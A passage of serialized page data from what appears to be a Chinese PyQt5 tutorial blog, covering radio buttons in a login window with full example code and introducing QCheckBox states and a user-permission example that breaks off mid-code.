选择用户登录角色",{"type":18,"tag":34,"props":54287,"children":54288},{},[54289,54291,54296,54298,54304,54305,54311,54313,54319,54321,54326,54328,54333,54335,54340,54342,54348,54350,54355],{"type":24,"value":54290},"在窗口中添加两个",{"type":18,"tag":74,"props":54292,"children":54294},{"className":54293},[],[54295],{"type":24,"value":54126},{"type":24,"value":54297},"控件，用来选择管理员登录和普通用户登录，它们的文本分别设置为",{"type":18,"tag":74,"props":54299,"children":54301},{"className":54300},[],[54302],{"type":24,"value":54303},"管理员",{"type":24,"value":10315},{"type":18,"tag":74,"props":54306,"children":54308},{"className":54307},[],[54309],{"type":24,"value":54310},"普通用户",{"type":24,"value":54312},"，然后定义一个",{"type":18,"tag":74,"props":54314,"children":54316},{"className":54315},[],[54317],{"type":24,"value":54318},"select()槽函数",{"type":24,"value":54320},"，用来判断",{"type":18,"tag":74,"props":54322,"children":54324},{"className":54323},[],[54325],{"type":24,"value":54303},{"type":24,"value":54327},"单选按钮和",{"type":18,"tag":74,"props":54329,"children":54331},{"className":54330},[],[54332],{"type":24,"value":54310},{"type":24,"value":54334},"单选按钮分别选中时的弹出信息，最后将",{"type":18,"tag":74,"props":54336,"children":54338},{"className":54337},[],[54339],{"type":24,"value":54303},{"type":24,"value":54341},"单选按钮的",{"type":18,"tag":74,"props":54343,"children":54345},{"className":54344},[],[54346],{"type":24,"value":54347},"toggled信号",{"type":24,"value":54349},"与自定义的",{"type":18,"tag":74,"props":54351,"children":54353},{"className":54352},[],[54354],{"type":24,"value":54318},{"type":24,"value":54356},"关联。代码如下：",{"type":18,"tag":287,"props":54358,"children":54360},{"code":54359,"language":28712,"meta":8,"className":28710,"style":8},"from PyQt5 import QtCore, QtGui, QtWidgets  \nfrom PyQt5.QtWidgets import QMessageBox  \n  \n  \nclass Ui_MainWindow(object):  \n    def setupUi(self, MainWindow):  \n        MainWindow.setObjectName(\"MainWindow\")  \n        MainWindow.resize(215, 128)  \n        self.centralwidget = QtWidgets.QWidget(MainWindow)  \n        self.centralwidget.setObjectName(\"centralwidget\")  \n        self.lineEdit_2 = QtWidgets.QLineEdit(self.centralwidget)  \n        self.lineEdit_2.setGeometry(QtCore.QRect(75, 44, 113, 20))  \n        self.lineEdit_2.setObjectName(\"lineEdit_2\")  \n        self.lineEdit_2.setEchoMode(QtWidgets.QLineEdit.Password)  # 设置文本框为密码  \n        # 设置只能输入8位数字  \n        self.lineEdit_2.setValidator(QtGui.QIntValidator(10000000, 99999999))  \n        self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget)  \n        self.pushButton_2.setGeometry(QtCore.QRect(113, 97, 61, 23))  \n        self.pushButton_2.setObjectName(\"pushButton_2\")  \n        self.lineEdit = QtWidgets.QLineEdit(self.centralwidget)  \n        self.lineEdit.setGeometry(QtCore.QRect(76, 12, 113, 20))  \n        self.lineEdit.setObjectName(\"lineEdit\")  \n        self.pushButton = QtWidgets.QPushButton(self.centralwidget)  \n        self.pushButton.setGeometry(QtCore.QRect(33, 97, 61, 23))  \n        self.pushButton.setObjectName(\"pushButton\")  \n        self.label_2 = QtWidgets.QLabel(self.centralwidget)  \n        self.label_2.setGeometry(QtCore.QRect(26, 46, 54, 12))  \n        self.label_2.setObjectName(\"label_2\")  \n        self.label = QtWidgets.QLabel(self.centralwidget)  \n        self.label.setGeometry(QtCore.QRect(26, 16, 54, 12))  \n        self.label.setObjectName(\"label\")  \n        self.radioButton = QtWidgets.QRadioButton(self.centralwidget)  \n        self.radioButton.setGeometry(QtCore.QRect(36, 73, 61, 16))  \n        self.radioButton.setObjectName(\"radioButton\")  \n        self.radioButton.setChecked(True)  # 设置“管理员”单选按钮默认选中  \n        self.radioButton_2 = QtWidgets.QRadioButton(self.centralwidget)  \n        self.radioButton_2.setGeometry(QtCore.QRect(106, 73, 71, 16))  \n        self.radioButton_2.setObjectName(\"radioButton_2\")  \n        MainWindow.setCentralWidget(self.centralwidget)  \n        self.retranslateUi(MainWindow)  \n        # 为“登录”按钮的clicked信号绑定自定义槽函数  \n        self.pushButton.clicked.connect(self.login)  \n        # 为“退出”按钮的clicked信号绑定MainWindow窗口自带的close槽函数  \n        self.pushButton_2.clicked.connect(MainWindow.close)  \n        # 为单选按钮的toggled信号绑定自定义槽函数  \n        self.radioButton.toggled.connect(self.select)  \n        QtCore.QMetaObject.connectSlotsByName(MainWindow)  \n  \n    def login(self):  \n        # 使用information()方法弹出信息提示框  \n        QMessageBox.information(MainWindow, \"登录信息\",\"用户名：\" + self.lineEdit.text() + \"  密码：\" + self.lineEdit_2.text(), QMessageBox.Ok)  \n    # 自定义槽函数，用来判断用户登录身份  \n    def select(self):  \n        if self.radioButton.isChecked():  # 判断是否为管理员登录  \n            QMessageBox.information(MainWindow, \"提示\", \"您选择的是 管理员  登录\", QMessageBox.Ok)  \n        elif self.radioButton_2.isChecked():  # 判断是否为普通用户登录  \n            QMessageBox.information(MainWindow, \"提示\", \"您选择的是 普通用户  登录\", QMessageBox.Ok)  \n  \n    def retranslateUi(self, MainWindow):  \n        _translate = QtCore.QCoreApplication.translate  \n        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"系统登录\"))  \n        self.pushButton_2.setText(_translate(\"MainWindow\", \"重置\"))  \n        self.pushButton.setText(_translate(\"MainWindow\", \"登录\"))  \n        self.label_2.setText(_translate(\"MainWindow\", \"密  码：\"))  \n        self.label.setText(_translate(\"MainWindow\", \"用户名：\"))  \n        self.radioButton.setText(_translate(\"MainWindow\", \"管理员\"))  \n        self.radioButton_2.setText(_translate(\"MainWindow\", \"普通用户\"))  \n  \nimport sys  \n# 程序入口，程序从此处启动PyQt设计的窗体  \nif __name__ == '__main__':  \n    app = QtWidgets.QApplication(sys.argv)  \n    MainWindow = QtWidgets.QMainWindow()  # 创建窗体对象  \n    ui = Ui_MainWindow()  # 创建PyQt设计的窗体对象  \n    ui.setupUi(MainWindow)  # 调用PyQt窗体的方法对窗体对象进行初始化设置  \n    MainWindow.show()  # 显示窗体  \n    sys.exit(app.exec_())  # 程序关闭时退出进程\n",[54361],{"type":18,"tag":74,"props":54362,"children":54363},{"__ignoreMap":8},[54364,54371,54379,54386,54393,54400,54407,54414,54422,54429,54436,54443,54451,54458,54465,54472,54479,54486,54494,54501,54508,54516,54523,54530,54538,54545,54552,54560,54567,54574,54582,54589,54597,54605,54613,54621,54629,54637,54645,54652,54659,54666,54673,54681,54688,54696,54704,54711,54718,54725,54732,54740,54748,54756,54764,54772,54780,54788,54795,54802,54809,54816,54824,54831,54838,54845,54853,54861,54868,54875,54882,54889,54896,54903,54910,54917,54924],{"type":18,"tag":297,"props":54365,"children":54366},{"class":299,"line":300},[54367],{"type":18,"tag":297,"props":54368,"children":54369},{},[54370],{"type":24,"value":42107},{"type":18,"tag":297,"props":54372,"children":54373},{"class":299,"line":657},[54374],{"type":18,"tag":297,"props":54375,"children":54376},{},[54377],{"type":24,"value":54378},"from PyQt5.QtWidgets import QMessageBox  \n",{"type":18,"tag":297,"props":54380,"children":54381},{"class":299,"line":662},[54382],{"type":18,"tag":297,"props":54383,"children":54384},{},[54385],{"type":24,"value":36783},{"type":18,"tag":297,"props":54387,"children":54388},{"class":299,"line":799},[54389],{"type":18,"tag":297,"props":54390,"children":54391},{},[54392],{"type":24,"value":36783},{"type":18,"tag":297,"props":54394,"children":54395},{"class":299,"line":808},[54396],{"type":18,"tag":297,"props":54397,"children":54398},{},[54399],{"type":24,"value":42122},{"type":18,"tag":297,"props":54401,"children":54402},{"class":299,"line":817},[54403],{"type":18,"tag":297,"props":54404,"children":54405},{},[54406],{"type":24,"value":42137},{"type":18,"tag":297,"props":54408,"children":54409},{"class":299,"line":826},[54410],{"type":18,"tag":297,"props":54411,"children":54412},{},[54413],{"type":24,"value":42145},{"type":18,"tag":297,"props":54415,"children":54416},{"class":299,"line":4524},[54417],{"type":18,"tag":297,"props":54418,"children":54419},{},[54420],{"type":24,"value":54421},"        MainWindow.resize(215, 128)  \n",{"type":18,"tag":297,"props":54423,"children":54424},{"class":299,"line":4533},[54425],{"type":18,"tag":297,"props":54426,"children":54427},{},[54428],{"type":24,"value":42161},{"type":18,"tag":297,"props":54430,"children":54431},{"class":299,"line":4546},[54432],{"type":18,"tag":297,"props":54433,"children":54434},{},[54435],{"type":24,"value":42169},{"type":18,"tag":297,"props":54437,"children":54438},{"class":299,"line":4555},[54439],{"type":18,"tag":297,"props":54440,"children":54441},{},[54442],{"type":24,"value":53215},{"type":18,"tag":297,"props":54444,"children":54445},{"class":299,"line":4568},[54446],{"type":18,"tag":297,"props":54447,"children":54448},{},[54449],{"type":24,"value":54450},"        self.lineEdit_2.setGeometry(QtCore.QRect(75, 44, 113, 20))  \n",{"type":18,"tag":297,"props":54452,"children":54453},{"class":299,"line":4577},[54454],{"type":18,"tag":297,"props":54455,"children":54456},{},[54457],{"type":24,"value":53231},{"type":18,"tag":297,"props":54459,"children":54460},{"class":299,"line":4590},[54461],{"type":18,"tag":297,"props":54462,"children":54463},{},[54464],{"type":24,"value":53239},{"type":18,"tag":297,"props":54466,"children":54467},{"class":299,"line":4599},[54468],{"type":18,"tag":297,"props":54469,"children":54470},{},[54471],{"type":24,"value":53247},{"type":18,"tag":297,"props":54473,"children":54474},{"class":299,"line":4607},[54475],{"type":18,"tag":297,"props":54476,"children":54477},{},[54478],{"type":24,"value":53255},{"type":18,"tag":297,"props":54480,"children":54481},{"class":299,"line":4616},[54482],{"type":18,"tag":297,"props":54483,"children":54484},{},[54485],{"type":24,"value":53263},{"type":18,"tag":297,"props":54487,"children":54488},{"class":299,"line":4624},[54489],{"type":18,"tag":297,"props":54490,"children":54491},{},[54492],{"type":24,"value":54493},"        self.pushButton_2.setGeometry(QtCore.QRect(113, 97, 61, 23))  \n",{"type":18,"tag":297,"props":54495,"children":54496},{"class":299,"line":4633},[54497],{"type":18,"tag":297,"props":54498,"children":54499},{},[54500],{"type":24,"value":53279},{"type":18,"tag":297,"props":54502,"children":54503},{"class":299,"line":4641},[54504],{"type":18,"tag":297,"props":54505,"children":54506},{},[54507],{"type":24,"value":53191},{"type":18,"tag":297,"props":54509,"children":54510},{"class":299,"line":4650},[54511],{"type":18,"tag":297,"props":54512,"children":54513},{},[54514],{"type":24,"value":54515},"        self.lineEdit.setGeometry(QtCore.QRect(76, 12, 113, 20))  \n",{"type":18,"tag":297,"props":54517,"children":54518},{"class":299,"line":4658},[54519],{"type":18,"tag":297,"props":54520,"children":54521},{},[54522],{"type":24,"value":53207},{"type":18,"tag":297,"props":54524,"children":54525},{"class":299,"line":4681},[54526],{"type":18,"tag":297,"props":54527,"children":54528},{},[54529],{"type":24,"value":45080},{"type":18,"tag":297,"props":54531,"children":54532},{"class":299,"line":4703},[54533],{"type":18,"tag":297,"props":54534,"children":54535},{},[54536],{"type":24,"value":54537},"        self.pushButton.setGeometry(QtCore.QRect(33, 97, 61, 23))  \n",{"type":18,"tag":297,"props":54539,"children":54540},{"class":299,"line":4711},[54541],{"type":18,"tag":297,"props":54542,"children":54543},{},[54544],{"type":24,"value":45096},{"type":18,"tag":297,"props":54546,"children":54547},{"class":299,"line":4720},[54548],{"type":18,"tag":297,"props":54549,"children":54550},{},[54551],{"type":24,"value":53167},{"type":18,"tag":297,"props":54553,"children":54554},{"class":299,"line":4728},[54555],{"type":18,"tag":297,"props":54556,"children":54557},{},[54558],{"type":24,"value":54559},"        self.label_2.setGeometry(QtCore.QRect(26, 46, 54, 12))  \n",{"type":18,"tag":297,"props":54561,"children":54562},{"class":299,"line":13515},[54563],{"type":18,"tag":297,"props":54564,"children":54565},{},[54566],{"type":24,"value":53183},{"type":18,"tag":297,"props":54568,"children":54569},{"class":299,"line":13553},[54570],{"type":18,"tag":297,"props":54571,"children":54572},{},[54573],{"type":24,"value":53144},{"type":18,"tag":297,"props":54575,"children":54576},{"class":299,"line":13591},[54577],{"type":18,"tag":297,"props":54578,"children":54579},{},[54580],{"type":24,"value":54581},"        self.label.setGeometry(QtCore.QRect(26, 16, 54, 12))  \n",{"type":18,"tag":297,"props":54583,"children":54584},{"class":299,"line":13624},[54585],{"type":18,"tag":297,"props":54586,"children":54587},{},[54588],{"type":24,"value":47108},{"type":18,"tag":297,"props":54590,"children":54591},{"class":299,"line":13632},[54592],{"type":18,"tag":297,"props":54593,"children":54594},{},[54595],{"type":24,"value":54596},"        self.radioButton = QtWidgets.QRadioButton(self.centralwidget)  \n",{"type":18,"tag":297,"props":54598,"children":54599},{"class":299,"line":13641},[54600],{"type":18,"tag":297,"props":54601,"children":54602},{},[54603],{"type":24,"value":54604},"        self.radioButton.setGeometry(QtCore.QRect(36, 73, 61, 16))  \n",{"type":18,"tag":297,"props":54606,"children":54607},{"class":299,"line":13724},[54608],{"type":18,"tag":297,"props":54609,"children":54610},{},[54611],{"type":24,"value":54612},"        self.radioButton.setObjectName(\"radioButton\")  \n",{"type":18,"tag":297,"props":54614,"children":54615},{"class":299,"line":13732},[54616],{"type":18,"tag":297,"props":54617,"children":54618},{},[54619],{"type":24,"value":54620},"        self.radioButton.setChecked(True)  # 设置“管理员”单选按钮默认选中  \n",{"type":18,"tag":297,"props":54622,"children":54623},{"class":299,"line":13786},[54624],{"type":18,"tag":297,"props":54625,"children":54626},{},[54627],{"type":24,"value":54628},"        self.radioButton_2 = QtWidgets.QRadioButton(self.centralwidget)  \n",{"type":18,"tag":297,"props":54630,"children":54631},{"class":299,"line":13794},[54632],{"type":18,"tag":297,"props":54633,"children":54634},{},[54635],{"type":24,"value":54636},"        self.radioButton_2.setGeometry(QtCore.QRect(106, 73, 71, 16))  \n",{"type":18,"tag":297,"props":54638,"children":54639},{"class":299,"line":13803},[54640],{"type":18,"tag":297,"props":54641,"children":54642},{},[54643],{"type":24,"value":54644},"        self.radioButton_2.setObjectName(\"radioButton_2\")  \n",{"type":18,"tag":297,"props":54646,"children":54647},{"class":299,"line":13845},[54648],{"type":18,"tag":297,"props":54649,"children":54650},{},[54651],{"type":24,"value":42337},{"type":18,"tag":297,"props":54653,"children":54654},{"class":299,"line":13887},[54655],{"type":18,"tag":297,"props":54656,"children":54657},{},[54658],{"type":24,"value":42345},{"type":18,"tag":297,"props":54660,"children":54661},{"class":299,"line":13927},[54662],{"type":18,"tag":297,"props":54663,"children":54664},{},[54665],{"type":24,"value":53309},{"type":18,"tag":297,"props":54667,"children":54668},{"class":299,"line":13943},[54669],{"type":18,"tag":297,"props":54670,"children":54671},{},[54672],{"type":24,"value":53317},{"type":18,"tag":297,"props":54674,"children":54675},{"class":299,"line":15315},[54676],{"type":18,"tag":297,"props":54677,"children":54678},{},[54679],{"type":24,"value":54680},"        # 为“退出”按钮的clicked信号绑定MainWindow窗口自带的close槽函数  \n",{"type":18,"tag":297,"props":54682,"children":54683},{"class":299,"line":15331},[54684],{"type":18,"tag":297,"props":54685,"children":54686},{},[54687],{"type":24,"value":53333},{"type":18,"tag":297,"props":54689,"children":54690},{"class":299,"line":15347},[54691],{"type":18,"tag":297,"props":54692,"children":54693},{},[54694],{"type":24,"value":54695},"        # 为单选按钮的toggled信号绑定自定义槽函数  \n",{"type":18,"tag":297,"props":54697,"children":54698},{"class":299,"line":42458},[54699],{"type":18,"tag":297,"props":54700,"children":54701},{},[54702],{"type":24,"value":54703},"        self.radioButton.toggled.connect(self.select)  \n",{"type":18,"tag":297,"props":54705,"children":54706},{"class":299,"line":42467},[54707],{"type":18,"tag":297,"props":54708,"children":54709},{},[54710],{"type":24,"value":42353},{"type":18,"tag":297,"props":54712,"children":54713},{"class":299,"line":42476},[54714],{"type":18,"tag":297,"props":54715,"children":54716},{},[54717],{"type":24,"value":36783},{"type":18,"tag":297,"props":54719,"children":54720},{"class":299,"line":42954},[54721],{"type":18,"tag":297,"props":54722,"children":54723},{},[54724],{"type":24,"value":53348},{"type":18,"tag":297,"props":54726,"children":54727},{"class":299,"line":42963},[54728],{"type":18,"tag":297,"props":54729,"children":54730},{},[54731],{"type":24,"value":53363},{"type":18,"tag":297,"props":54733,"children":54734},{"class":299,"line":42972},[54735],{"type":18,"tag":297,"props":54736,"children":54737},{},[54738],{"type":24,"value":54739},"        QMessageBox.information(MainWindow, \"登录信息\",\"用户名：\" + self.lineEdit.text() + \"  密码：\" + self.lineEdit_2.text(), QMessageBox.Ok)  \n",{"type":18,"tag":297,"props":54741,"children":54742},{"class":299,"line":45120},[54743],{"type":18,"tag":297,"props":54744,"children":54745},{},[54746],{"type":24,"value":54747},"    # 自定义槽函数，用来判断用户登录身份  \n",{"type":18,"tag":297,"props":54749,"children":54750},{"class":299,"line":45129},[54751],{"type":18,"tag":297,"props":54752,"children":54753},{},[54754],{"type":24,"value":54755},"    def select(self):  \n",{"type":18,"tag":297,"props":54757,"children":54758},{"class":299,"line":45138},[54759],{"type":18,"tag":297,"props":54760,"children":54761},{},[54762],{"type":24,"value":54763},"        if self.radioButton.isChecked():  # 判断是否为管理员登录  \n",{"type":18,"tag":297,"props":54765,"children":54766},{"class":299,"line":45147},[54767],{"type":18,"tag":297,"props":54768,"children":54769},{},[54770],{"type":24,"value":54771},"            QMessageBox.information(MainWindow, \"提示\", \"您选择的是 管理员  登录\", QMessageBox.Ok)  \n",{"type":18,"tag":297,"props":54773,"children":54774},{"class":299,"line":45155},[54775],{"type":18,"tag":297,"props":54776,"children":54777},{},[54778],{"type":24,"value":54779},"        elif self.radioButton_2.isChecked():  # 判断是否为普通用户登录  \n",{"type":18,"tag":297,"props":54781,"children":54782},{"class":299,"line":45164},[54783],{"type":18,"tag":297,"props":54784,"children":54785},{},[54786],{"type":24,"value":54787},"            QMessageBox.information(MainWindow, \"提示\", \"您选择的是 普通用户  登录\", QMessageBox.Ok)  \n",{"type":18,"tag":297,"props":54789,"children":54790},{"class":299,"line":45173},[54791],{"type":18,"tag":297,"props":54792,"children":54793},{},[54794],{"type":24,"value":36783},{"type":18,"tag":297,"props":54796,"children":54797},{"class":299,"line":45182},[54798],{"type":18,"tag":297,"props":54799,"children":54800},{},[54801],{"type":24,"value":42384},{"type":18,"tag":297,"props":54803,"children":54804},{"class":299,"line":45191},[54805],{"type":18,"tag":297,"props":54806,"children":54807},{},[54808],{"type":24,"value":42392},{"type":18,"tag":297,"props":54810,"children":54811},{"class":299,"line":45200},[54812],{"type":18,"tag":297,"props":54813,"children":54814},{},[54815],{"type":24,"value":53401},{"type":18,"tag":297,"props":54817,"children":54818},{"class":299,"line":45209},[54819],{"type":18,"tag":297,"props":54820,"children":54821},{},[54822],{"type":24,"value":54823},"        self.pushButton_2.setText(_translate(\"MainWindow\", \"重置\"))  \n",{"type":18,"tag":297,"props":54825,"children":54826},{"class":299,"line":45218},[54827],{"type":18,"tag":297,"props":54828,"children":54829},{},[54830],{"type":24,"value":53409},{"type":18,"tag":297,"props":54832,"children":54833},{"class":299,"line":45227},[54834],{"type":18,"tag":297,"props":54835,"children":54836},{},[54837],{"type":24,"value":53425},{"type":18,"tag":297,"props":54839,"children":54840},{"class":299,"line":45236},[54841],{"type":18,"tag":297,"props":54842,"children":54843},{},[54844],{"type":24,"value":53417},{"type":18,"tag":297,"props":54846,"children":54847},{"class":299,"line":45245},[54848],{"type":18,"tag":297,"props":54849,"children":54850},{},[54851],{"type":24,"value":54852},"        self.radioButton.setText(_translate(\"MainWindow\", \"管理员\"))  \n",{"type":18,"tag":297,"props":54854,"children":54855},{"class":299,"line":45254},[54856],{"type":18,"tag":297,"props":54857,"children":54858},{},[54859],{"type":24,"value":54860},"        self.radioButton_2.setText(_translate(\"MainWindow\", \"普通用户\"))  \n",{"type":18,"tag":297,"props":54862,"children":54863},{"class":299,"line":45263},[54864],{"type":18,"tag":297,"props":54865,"children":54866},{},[54867],{"type":24,"value":36783},{"type":18,"tag":297,"props":54869,"children":54870},{"class":299,"line":45272},[54871],{"type":18,"tag":297,"props":54872,"children":54873},{},[54874],{"type":24,"value":42415},{"type":18,"tag":297,"props":54876,"children":54877},{"class":299,"line":45281},[54878],{"type":18,"tag":297,"props":54879,"children":54880},{},[54881],{"type":24,"value":42423},{"type":18,"tag":297,"props":54883,"children":54884},{"class":299,"line":45290},[54885],{"type":18,"tag":297,"props":54886,"children":54887},{},[54888],{"type":24,"value":42431},{"type":18,"tag":297,"props":54890,"children":54891},{"class":299,"line":45299},[54892],{"type":18,"tag":297,"props":54893,"children":54894},{},[54895],{"type":24,"value":43682},{"type":18,"tag":297,"props":54897,"children":54898},{"class":299,"line":45308},[54899],{"type":18,"tag":297,"props":54900,"children":54901},{},[54902],{"type":24,"value":43690},{"type":18,"tag":297,"props":54904,"children":54905},{"class":299,"line":45317},[54906],{"type":18,"tag":297,"props":54907,"children":54908},{},[54909],{"type":24,"value":51067},{"type":18,"tag":297,"props":54911,"children":54912},{"class":299,"line":45326},[54913],{"type":18,"tag":297,"props":54914,"children":54915},{},[54916],{"type":24,"value":43706},{"type":18,"tag":297,"props":54918,"children":54919},{"class":299,"line":45335},[54920],{"type":18,"tag":297,"props":54921,"children":54922},{},[54923],{"type":24,"value":51093},{"type":18,"tag":297,"props":54925,"children":54926},{"class":299,"line":45344},[54927],{"type":18,"tag":297,"props":54928,"children":54929},{},[54930],{"type":24,"value":51102},{"type":18,"tag":34,"props":54932,"children":54933},{},[54934,54936,54941,54943,54948,54950,54956],{"type":24,"value":54935},"运行程序，",{"type":18,"tag":74,"props":54937,"children":54939},{"className":54938},[],[54940],{"type":24,"value":54303},{"type":24,"value":54942},"单选按钮默认处于选中状态，选中",{"type":18,"tag":74,"props":54944,"children":54946},{"className":54945},[],[54947],{"type":24,"value":54310},{"type":24,"value":54949},"单选按钮，将弹出",{"type":18,"tag":74,"props":54951,"children":54953},{"className":54952},[],[54954],{"type":24,"value":54955},"您选择的是 普通用户 登录",{"type":24,"value":54957},"提示框，如图所示。",{"type":18,"tag":34,"props":54959,"children":54960},{},[54961],{"type":18,"tag":54,"props":54962,"children":54965},{"alt":54963,"src":54964},"Pasted image 20250829100935","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250829100935.png",[],{"type":18,"tag":34,"props":54967,"children":54968},{},[54969,54970,54975,54976,54982],{"type":24,"value":38614},{"type":18,"tag":74,"props":54971,"children":54973},{"className":54972},[],[54974],{"type":24,"value":54303},{"type":24,"value":54949},{"type":18,"tag":74,"props":54977,"children":54979},{"className":54978},[],[54980],{"type":24,"value":54981},"您选择的是 管理员 登录",{"type":24,"value":54957},{"type":18,"tag":34,"props":54984,"children":54985},{},[54986],{"type":18,"tag":54,"props":54987,"children":54990},{"alt":54988,"src":54989},"Pasted image 20250829100853","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250829100853.png",[],{"type":18,"tag":19,"props":54992,"children":54994},{"id":54993},"_5checkbox复选框",[54995,54997,55003],{"type":24,"value":54996},"5  ",{"type":18,"tag":74,"props":54998,"children":55000},{"className":54999},[],[55001],{"type":24,"value":55002},"CheckBox",{"type":24,"value":55004},"：复选框",{"type":18,"tag":121,"props":55006,"children":55007},{},[],{"type":18,"tag":34,"props":55009,"children":55010},{},[55011,55016,55018,55024],{"type":18,"tag":74,"props":55012,"children":55014},{"className":55013},[],[55015],{"type":24,"value":55002},{"type":24,"value":55017},"是复选框控件，它用来表示是否选取了某个选项条件，常用于为用户提供具有是\u002F否或真\u002F假值的选项，它对应PyQt5中的",{"type":18,"tag":74,"props":55019,"children":55021},{"className":55020},[],[55022],{"type":24,"value":55023},"QCheckBox",{"type":24,"value":51646},{"type":18,"tag":34,"props":55026,"children":55027},{},[55028,55033,55034,55039,55041,55047,55049,55055,55056,55062,55064,55070],{"type":18,"tag":74,"props":55029,"children":55031},{"className":55030},[],[55032],{"type":24,"value":55002},{"type":24,"value":51656},{"type":18,"tag":74,"props":55035,"children":55037},{"className":55036},[],[55038],{"type":24,"value":54126},{"type":24,"value":55040},"控件类似，但它是为用户提供",{"type":18,"tag":74,"props":55042,"children":55044},{"className":55043},[],[55045],{"type":24,"value":55046},"多选多",{"type":24,"value":55048},"的选择。另外，它除了选中和未选中两种状态之外，还提供了第三种状态：半选中。如果需要第三种状态，需要使用",{"type":18,"tag":74,"props":55050,"children":55052},{"className":55051},[],[55053],{"type":24,"value":55054},"QCheckBox类",{"type":24,"value":19130},{"type":18,"tag":74,"props":55057,"children":55059},{"className":55058},[],[55060],{"type":24,"value":55061},"setTristate()方法",{"type":24,"value":55063},"使其生效，并且可以使用",{"type":18,"tag":74,"props":55065,"children":55067},{"className":55066},[],[55068],{"type":24,"value":55069},"checkState()方法",{"type":24,"value":55071},"查询当前状态。",{"type":18,"tag":34,"props":55073,"children":55074},{},[55075,55080],{"type":18,"tag":74,"props":55076,"children":55078},{"className":55077},[],[55079],{"type":24,"value":55002},{"type":24,"value":55081},"控件的三种状态值及说明如表所示。",{"type":18,"tag":431,"props":55083,"children":55084},{},[55085,55105],{"type":18,"tag":435,"props":55086,"children":55087},{},[55088],{"type":18,"tag":439,"props":55089,"children":55090},{},[55091,55098],{"type":18,"tag":443,"props":55092,"children":55093},{},[55094],{"type":18,"tag":105,"props":55095,"children":55096},{},[55097],{"type":24,"value":41518},{"type":18,"tag":443,"props":55099,"children":55100},{},[55101],{"type":18,"tag":105,"props":55102,"children":55103},{},[55104],{"type":24,"value":41526},{"type":18,"tag":459,"props":55106,"children":55107},{},[55108,55120,55133],{"type":18,"tag":439,"props":55109,"children":55110},{},[55111,55116],{"type":18,"tag":466,"props":55112,"children":55113},{},[55114],{"type":24,"value":55115},"QT.Checked()",{"type":18,"tag":466,"props":55117,"children":55118},{},[55119],{"type":24,"value":38614},{"type":18,"tag":439,"props":55121,"children":55122},{},[55123,55128],{"type":18,"tag":466,"props":55124,"children":55125},{},[55126],{"type":24,"value":55127},"QT.PartiallyChecked()",{"type":18,"tag":466,"props":55129,"children":55130},{},[55131],{"type":24,"value":55132},"半选中",{"type":18,"tag":439,"props":55134,"children":55135},{},[55136,55141],{"type":18,"tag":466,"props":55137,"children":55138},{},[55139],{"type":24,"value":55140},"QT.Unchecked()",{"type":18,"tag":466,"props":55142,"children":55143},{},[55144],{"type":24,"value":55145},"未选中",{"type":18,"tag":34,"props":55147,"children":55148},{},[55149,55154,55155,55161],{"type":18,"tag":74,"props":55150,"children":55152},{"className":55151},[],[55153],{"type":24,"value":55002},{"type":24,"value":48476},{"type":18,"tag":74,"props":55156,"children":55158},{"className":55157},[],[55159],{"type":24,"value":55160},"stateChanged",{"type":24,"value":55162},"，用来在复选框的状态发生改变时发射。",{"type":18,"tag":34,"props":55164,"children":55165},{},[55166],{"type":18,"tag":105,"props":55167,"children":55168},{},[55169],{"type":24,"value":55170},"实例 设置用户权限",{"type":18,"tag":34,"props":55172,"children":55173},{},[55174,55176,55181,55183,55189,55191,55196,55198,55203,55204,55209,55210,55215,55216,55222,55224,55229],{"type":24,"value":55175},"在Qt Designer设计器中创建一个窗口，实现通过复选框的选中状态设置用户权限的功能。在窗口中添加5个",{"type":18,"tag":74,"props":55177,"children":55179},{"className":55178},[],[55180],{"type":24,"value":55002},{"type":24,"value":55182},"控件，文本分别设置为",{"type":18,"tag":74,"props":55184,"children":55186},{"className":55185},[],[55187],{"type":24,"value":55188},"基本信息管理、进货管理、销售管理、库存管理、系统管理",{"type":24,"value":55190},"，主要用来表示要设置的权限；添加一个",{"type":18,"tag":74,"props":55192,"children":55194},{"className":55193},[],[55195],{"type":24,"value":44683},{"type":24,"value":55197},"控件，用来显示选择权限。设计完成后保存为",{"type":18,"tag":74,"props":55199,"children":55201},{"className":55200},[],[55202],{"type":24,"value":43367},{"type":24,"value":43369},{"type":18,"tag":74,"props":55205,"children":55207},{"className":55206},[],[55208],{"type":24,"value":42560},{"type":24,"value":46735},{"type":18,"tag":74,"props":55211,"children":55213},{"className":55212},[],[55214],{"type":24,"value":42560},{"type":24,"value":48523},{"type":18,"tag":74,"props":55217,"children":55219},{"className":55218},[],[55220],{"type":24,"value":55221},"getvalue()方法",{"type":24,"value":55223},"，用来根据",{"type":18,"tag":74,"props":55225,"children":55227},{"className":55226},[],[55228],{"type":24,"value":55002},{"type":24,"value":55230},"控件的选中状态记录相应的权限。代码如下：",{"type":18,"tag":287,"props":55232,"children":55234},{"code":55233,"language":28712,"meta":8,"className":28710,"style":8},"def getvalue(self):  \n    oper = \"\"  # 记录用户权限  \n    if self.checkBox.isChecked():  # 判断复选框是否选中  \n        oper += self.checkBox.text()  # 记录选中的权限  \n    if self.checkBox_2.isChecked():  \n        oper += '\\n' + self.checkBox_2.text()  \n    if self.checkBox_3.isChecked():  \n        oper += '\\n' + self.checkBox_3.text()  \n    if self.checkBox_4.isChecked():  \n        oper += '\\n' + self.checkBox_4.text()  \n    if self.checkBox_5.isChecked():  \n        oper += '\\n' + self.checkBox_5.text()  \n    from PyQt5.QtWidgets import QMessageBox  \n    # 使用information()方法弹出信息提示，显示所有选择的权限  \n    QMessageBox.information(MainWindow, \"提示\", \"您选择的权限如下：\\n\" + oper, QMessageBox.Ok)\n",[55235],{"type":18,"tag":74,"props":55236,"children":55237},{"__ignoreMap":8},[55238,55246,55254,55262,55270,55278,55286,55294,55302,55310,55318,55326,55334,55341,55349],{"type":18,"tag":297,"props":55239,"children":55240},{"class":299,"line":300},[55241],{"type":18,"tag":297,"props":55242,"children":55243},{},[55244],{"type":24,"value":55245},"def getvalue(self):  \n",{"type":18,"tag":297,"props":55247,"children":55248},{"class":299,"line":657},[55249],{"type":18,"tag":297,"props":55250,"children":55251},{},[55252],{"type":24,"value":55253},"    oper = \"\"  # 记录用户权限  \n",{"type":18,"tag":297,"props":55255,"children":55256},{"class":299,"line":662},[55257],{"type":18,"tag":297,"props":55258,"children":55259},{},[55260],{"type":24,"value":55261},"    if self.checkBox.isChecked():  # 判断复选框是否选中  